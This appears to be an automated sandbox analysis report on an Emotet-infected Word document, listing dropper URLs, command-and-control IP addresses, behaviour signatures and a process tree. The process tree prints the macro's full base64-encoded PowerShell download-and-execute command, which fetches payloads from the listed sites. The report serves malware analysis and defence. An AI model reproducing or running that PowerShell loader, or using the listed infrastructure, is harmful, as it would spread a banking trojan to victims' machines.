Analysis

  • max time kernel
    139s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    15/09/2020, 13:12

General

  • Target
    emotet_e1_47e1e01c3af355478eda44a0d753caafb16141a708d0f1f640938b6ec3cf454e_2020-09-15__130947._doc.doc
  • Size 186KB
  • Sample200915-42fdv18ml2
  • SHA256 47e1e01c3af355478eda44a0d753caafb16141a708d0f1f640938b6ec3cf454e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://loungegangnam.com/4W/dz/

  • exe.dropper

    http://indyoverheaddoors.com/wp-includes/pZ/

  • exe.dropper

    http://geoffoglemusic.com/wp-admin/w/

  • exe.dropper

    http://giral2.com/wp-includes/0e/

  • exe.dropper

    https://www.lunalysis.com/wordpress/syb/

  • exe.dropper

    http://farli.com/cgi-bin/jK/

  • exe.dropper

    http://goldcoastoffice365.com/temp/wQ/

Extracted

Family
  • emotet

C2
  • 82.230.1.24:80

  • 51.38.124.206:80

  • 82.196.15.205:8080

  • 38.88.126.202:8080

  • 61.197.92.216:80

  • 217.199.160.224:7080

  • 61.92.159.208:8080

  • 186.103.141.250:443

  • 104.131.41.185:8080

  • 170.81.48.2:80

  • 50.121.220.50:80

  • 190.195.129.227:8090

  • 187.162.248.237:80

  • 172.104.169.32:8080

  • 199.203.62.165:80

  • 45.161.242.102:80

  • 45.46.37.97:80

  • 96.227.52.8:443

  • 65.36.62.20:80

  • 220.109.145.69:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_47e1e01c3af355478eda44a0d753caafb16141a708d0f1f640938b6ec3cf454e_2020-09-15__130947._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3228
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AGEAOABDAGsATQBcAHIARwBBAGkAXwBoAF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBJAFQAYAB5AGAAcAByAG8AVABPAGAAQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgAHQAbABzADEAJwApACsAJwAxACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAJwBsAHMAJwApADsAJABJAHMAZwB1AG4AMgB2ACAAPQAgACgAJwBDACcAKwAnADgAJwArACgAJwBfAGcAMABwAHYAJwArACcAMwAnACkAKQA7ACQAWgB5AGcAcwBnAGsAZQA9ACgAJwBYACcAKwAoACcAaABmACcAKwAnAGcAMwBrACcAKQArACcAcwAnACkAOwAkAEIAbgBzAGwAbgB0AG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AVAA2AGEAOABjAGsAJwArACcAbQAnACsAJwB7ADAAfQBSAGcAYQBpACcAKwAnAF8AJwArACcAaABfAHsAMAB9ACcAKQAgACAALQBGACAAIABbAEMAaABhAFIAXQA5ADIAKQArACQASQBzAGcAdQBuADIAdgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFUAbgA2AGsAdQA2AGsAPQAoACgAJwBNAGYAJwArACcAYwAnACkAKwAoACcAaQA0ACcAKwAnAGwAOQAnACkAKQA7ACQASAAxADgAdwBnAGUAdgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAEwASQBlAG4AVAA7ACQAVAAwAHIAbgBrADYAOQA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnAGwAbwB1ACcAKQArACcAbgAnACsAJwBnACcAKwAoACcAZQBnACcAKwAnAGEAJwApACsAJwBuACcAKwAnAGcAbgAnACsAJwBhACcAKwAoACcAbQAuAGMAbwBtAC8AJwArACcANAAnACsAJwBXAC8AJwApACsAKAAnAGQAegAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGkAJwArACcAbgBkAHkAbwB2AGUAcgBoACcAKQArACcAZQAnACsAKAAnAGEAJwArACcAZABkAG8AbwAnACkAKwAoACcAcgBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACgAJwBkAGUAcwAvACcAKwAnAHAAWgAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZwBlACcAKwAoACcAbwAnACsAJwBmAGYAbwBnACcAKQArACgAJwBsAGUAJwArACcAbQAnACsAJwB1AHMAJwArACcAaQBjAC4AYwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AYQAnACkAKwAoACcAZABtACcAKwAnAGkAJwArACcAbgAvACcAKwAnAHcALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAGcAaQByACcAKwAnAGEAbAAyACcAKQArACgAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AdwBwAC0AaQBuACcAKQArACcAYwAnACsAJwBsACcAKwAoACcAdQBkAGUAcwAvADAAJwArACcAZQAvACcAKQArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAoACcALwAvAHcAJwArACcAdwB3AC4AJwArACcAbAAnACkAKwAnAHUAbgAnACsAJwBhACcAKwAoACcAbAB5AHMAJwArACcAaQAnACsAJwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3ACcAKwAnAG8AJwArACgAJwByACcAKwAnAGQAcAAnACkAKwAoACcAcgAnACsAJwBlAHMAcwAvAHMAeQAnACkAKwAnAGIAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGYAYQByAGwAJwArACcAaQAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAYwBnACcAKwAnAGkALQAnACsAKAAnAGIAaQBuAC8AagAnACsAJwBLAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvAC8AJwArACgAJwBnACcAKwAnAG8AbABkAGMAbwAnACkAKwAnAGEAcwAnACsAJwB0AG8AJwArACgAJwBmACcAKwAnAGYAaQAnACkAKwAnAGMAZQAnACsAJwAzACcAKwAnADYAJwArACcANQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKwAnAHAALwAnACsAJwB3ACcAKwAnAFEAJwArACcALwAnACkALgAiAHMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQA0AHcAeABqADEAbwA9ACgAJwBYACcAKwAoACcAawAzAGcAbwAnACsAJwBtAGwAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAHkANAAzAGIAXwBtACAAaQBuACAAJABUADAAcgBuAGsANgA5ACkAewB0AHIAeQB7ACQASAAxADgAdwBnAGUAdgAuACIAZABvAGAAVwBuAGwATwBBAEQAYABGAGkATABFACIAKAAkAEgAeQA0ADMAYgBfAG0ALAAgACQAQgBuAHMAbABuAHQAbwApADsAJABOADMAZgBjADIAcwByAD0AKAAnAEoAJwArACcAdQAnACsAKAAnAGEAYgAnACsAJwBoADgAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAG4AcwBsAG4AdABvACkALgAiAGwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMwAxADUAOAA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEIAbgBzAGwAbgB0AG8AKQA7ACQATgBwADAAegA2AGcAYwA9ACgAKAAnAFgAJwArACcAbwBrACcAKQArACcAZAAnACsAKAAnAGUAJwArACcAaQBmACcAKQApADsAYgByAGUAYQBrADsAJABNADEAYgBmADYANwBrAD0AKAAnAE0AagAnACsAJwB6ADEAJwArACgAJwBtADIAJwArACcAXwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQA4ADcAOQBtADkAeAA9ACgAKAAnAEMAZAA2ACcAKwAnAGUAJwApACsAKAAnAGgAYgAnACsAJwBqACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Users\Admin\T6a8ckm\Rgai_h_\C8_g0pv3.exe
      "C:\Users\Admin\T6a8ckm\Rgai_h_\C8_g0pv3.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3964
      • C:\Windows\SysWOW64\webauthn\tquery.exe
        "C:\Windows\SysWOW64\webauthn\tquery.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2120

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2120-20-0x00000000004E0000-0x00000000004F0000-memory.dmp

        memory/2120-19-0x00000000004C0000-0x00000000004D2000-memory.dmp

        memory/3228-5-0x00000258BDE87000-0x00000258BDE8E000-memory.dmp

        memory/3228-0-0x00007FF9F03D0000-0x00007FF9F0A96000-memory.dmp

        memory/3628-10-0x000001AAAE8C0000-0x000001AAAE8C1000-memory.dmp

        memory/3628-11-0x000001AAAEBA0000-0x000001AAAEBA1000-memory.dmp

        memory/3628-9-0x00007FF9E8F80000-0x00007FF9E996C000-memory.dmp

        memory/3964-16-0x0000000000B90000-0x0000000000BA0000-memory.dmp

        memory/3964-15-0x0000000000B70000-0x0000000000B82000-memory.dmp